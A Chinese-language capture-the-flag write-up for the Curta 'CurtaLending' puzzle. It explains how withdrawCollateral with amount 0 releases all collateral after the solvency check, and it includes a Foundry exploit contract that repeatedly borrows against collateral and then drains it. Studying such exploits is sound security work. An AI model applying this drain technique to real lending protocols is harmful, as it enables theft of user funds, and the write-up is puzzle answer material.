---
# System prepended metadata

title: 'Curta CTF: CurtaLending'

---


# 题目

https://www.curta.wtf/puzzle/base:7

这道CTF是一套借贷协议，需要从一个借贷协议里攻击获得全部的抵押物。


# 分析

借贷协议的攻击一般是操控价格，然后快速引起坏债进行攻击，从而盗取抵押物。我们先借着这个思路去看这条题，报价合约如下。我们可以看到Price写死的价格，并不是从池子读，或者从预言机读。这里可能唯一的问题价格设置上。

```solidity
contract Oracle is OwnableUpgradeable {
...

    function setPrice(address asset, uint256 price) external onlyOwner {
        prices[asset] = price;
    }

    function getPrice(address asset) external view returns (uint256) {
        return prices[asset];
    }
...
}
```
而在价格设置上，`createChallenge`的时候我们可以看到价格也是没有问题，LTV，LDV这些参数设计也没有问题。的代码如下：
```solidity=
    function createChallenge(uint256 seed, address player) external onlyOwner returns (address) {
...
        Oracle(oracleClone).setPrice(usdClone, 1e18);
        Oracle(oracleClone).setPrice(wethClone, 3000e18);
        Oracle(oracleClone).setPrice(rebasingWETHClone, 3100e18);

        CurtaLending(curtaLendingClone).setAsset(usdClone, true, 500, 0.8 ether, 0.9 ether, 0.05 ether);
        CurtaLending(curtaLendingClone).setAsset(wethClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether);
        CurtaLending(curtaLendingClone).setAsset(rebasingWETHClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether);
...
    }

```

仔细review代码，会发现问题是出现在了`withdrawCollateral`的特殊处理上。

```solidity!
    function withdrawCollateral(address asset, uint256 amount) external {
        accrueInterest(msg.sender, asset);

        UserInfo storage _userInfo = userInfo[msg.sender][asset];
        AssetInfo storage _assetInfo = assetInfo[asset];

        uint256 collateralValue = (_userInfo.collateralAmount - amount) * oracle.getPrice(asset);
        uint256 borrowValue = _userInfo.totalDebt * oracle.getPrice(_userInfo.borrowAsset);
        require(collateralValue * _assetInfo.borrowLTV >= borrowValue * 1e18);

        if (amount == 0) {
            _userInfo.liquidityAmount += _userInfo.collateralAmount;
            _assetInfo.totalLiquidity += _userInfo.collateralAmount;
            _assetInfo.avaliableLiquidity += _userInfo.collateralAmount;
            _userInfo.collateralAmount = 0;
        } else {
            require(_userInfo.collateralAmount >= amount);
            _userInfo.liquidityAmount += amount;
            _userInfo.collateralAmount -= amount;
            _assetInfo.totalLiquidity += amount;
            _assetInfo.avaliableLiquidity += amount;
        }
    }
```
问题的关键处在`amount == 0`时，这里希望特殊处理为全部collecteral转化为liquidity。**但这里有明显的问题：这个函数是先检查LTV的健康情况，再做状态修改；可是如果当输入amount为0的时候，全部抵押物都会转化成可提取的流动性，可以直接全部把流动性提取走，从而造成协议坏账。**



# POC攻击
所以攻击的手段也是非常简单：存钱，借钱，`withdrawCollateral(assert,0)`，然后`withdrawLiquidity`。btw，最后要注意一下要换个合约地址攻击，因为用户坏账形成了，就不能再用了。
测试代码如下：

```solidity=
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;
import {stdStorage, StdStorage, Test, console2} from "forge-std/Test.sol";
import {FailedLendingMarket} from "../src/puzzls/FailedLendingMarket.sol";
import {Challenge} from "../src/puzzls/Challenge.sol";

import {CurtaToken} from "../src/puzzls/CurtaToken.sol";
import {CurtaRebasingToken} from "../src/puzzls/CurtaRebasingToken.sol";
import {CurtaLending} from "../src/puzzls/CurtaLending.sol";

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract AttackApprove {
    function claimTo(address token, address from, address to, uint256 amount) external {
        IERC20(token).transferFrom(from, to ,amount);
    }
}

contract Attacker {
    constructor(
        address curtaLending,
        address attackApprove,
        address tokenA,
        address tokenB,
        uint256 amount0,
        uint256 amount1
    ) {
        AttackApprove(attackApprove).claimTo(tokenA, msg.sender, address(this), amount0);
        IERC20(tokenA).approve(curtaLending, amount0);
        
        CurtaLending(curtaLending).depositCollateral(tokenA, amount0);
        CurtaLending(curtaLending).borrow(tokenA, tokenB, amount1);
        CurtaLending(curtaLending).withdrawCollateral(tokenA, 0);
        CurtaLending(curtaLending).withdrawLiquidity(tokenA, amount0);

        IERC20(tokenA).transfer(msg.sender, IERC20(tokenA).balanceOf(address(this)));
        IERC20(tokenB).transfer(msg.sender, IERC20(tokenB).balanceOf(address(this)));

    }
}

contract FailedLendingMarketTesting is Test {
    address challenge;
    address failedLendingMarket = 0xc0894A610f48dc195FEbb409b55497b670D448d0;
    CurtaToken public curtaUSD;
    CurtaToken public curtaWETH;
    CurtaRebasingToken public curtaRebasingETH;
    CurtaLending public curtaLending;
    AttackApprove public attackApprove;

    function setUp() public {
        // vm.createSelectFork("https://base-rpc.publicnode.com");

        failedLendingMarket = address(new FailedLendingMarket());
        challenge = FailedLendingMarket(failedLendingMarket).deploy();
        curtaUSD = Challenge(challenge).curtaUSD();
        curtaWETH = Challenge(challenge).curtaWETH();
        curtaRebasingETH = Challenge(challenge).curtaRebasingETH();
        curtaLending =  Challenge(challenge).curtaLending();
        attackApprove = new AttackApprove();
    }

    function test0() public {
        require(curtaUSD.balanceOf(address(this)) == 10000 ether, "balance not equal");
        require(curtaWETH.balanceOf(address(this)) == 10000 ether, "balance not equal");
        curtaUSD.approve(address(attackApprove), 30000 ether);
        curtaWETH.approve(address(attackApprove), 30000 ether);
        curtaRebasingETH.approve(address(attackApprove), 30000 ether);

        Attacker _attackTry = new Attacker(
            address(curtaLending),
            address(attackApprove),
            address(curtaWETH),
            address(curtaUSD),
            10000 ether,
            10000 ether
        );

        require(curtaUSD.balanceOf(address(this)) == 20000 ether);
        require(curtaWETH.balanceOf(address(this)) == 10000 ether);

        _attackTry = new Attacker(
            address(curtaLending),
            address(attackApprove),
            address(curtaWETH),
            address(curtaRebasingETH),
            10000 ether,
            5000 ether
        );

        _attackTry = new Attacker(
            address(curtaLending),
            address(attackApprove),
            address(curtaWETH),
            address(curtaRebasingETH),
            10000 ether,
            5000 ether
        );

        IERC20(curtaWETH).approve(address(curtaRebasingETH), 10000 ether);
        curtaRebasingETH.deposit(10000 ether);

        require(curtaRebasingETH.balanceOf(address(this)) == 20000 ether);

        _attackTry = new Attacker(
            address(curtaLending),
            address(attackApprove),
            address(curtaRebasingETH),
            address(curtaWETH),
            20000 ether,
            10000 ether
        );

        curtaRebasingETH.withdraw(20000 ether);
        require(curtaWETH.balanceOf(address(this)) == 30000 ether);

        address seed = address(uint160(Challenge(challenge).seed()));
        
        IERC20(curtaWETH).transfer(seed, 30000 ether);
        IERC20(curtaUSD).transfer(seed, 20000 ether);

        require(Challenge(challenge).isSolved());
    }

}
```


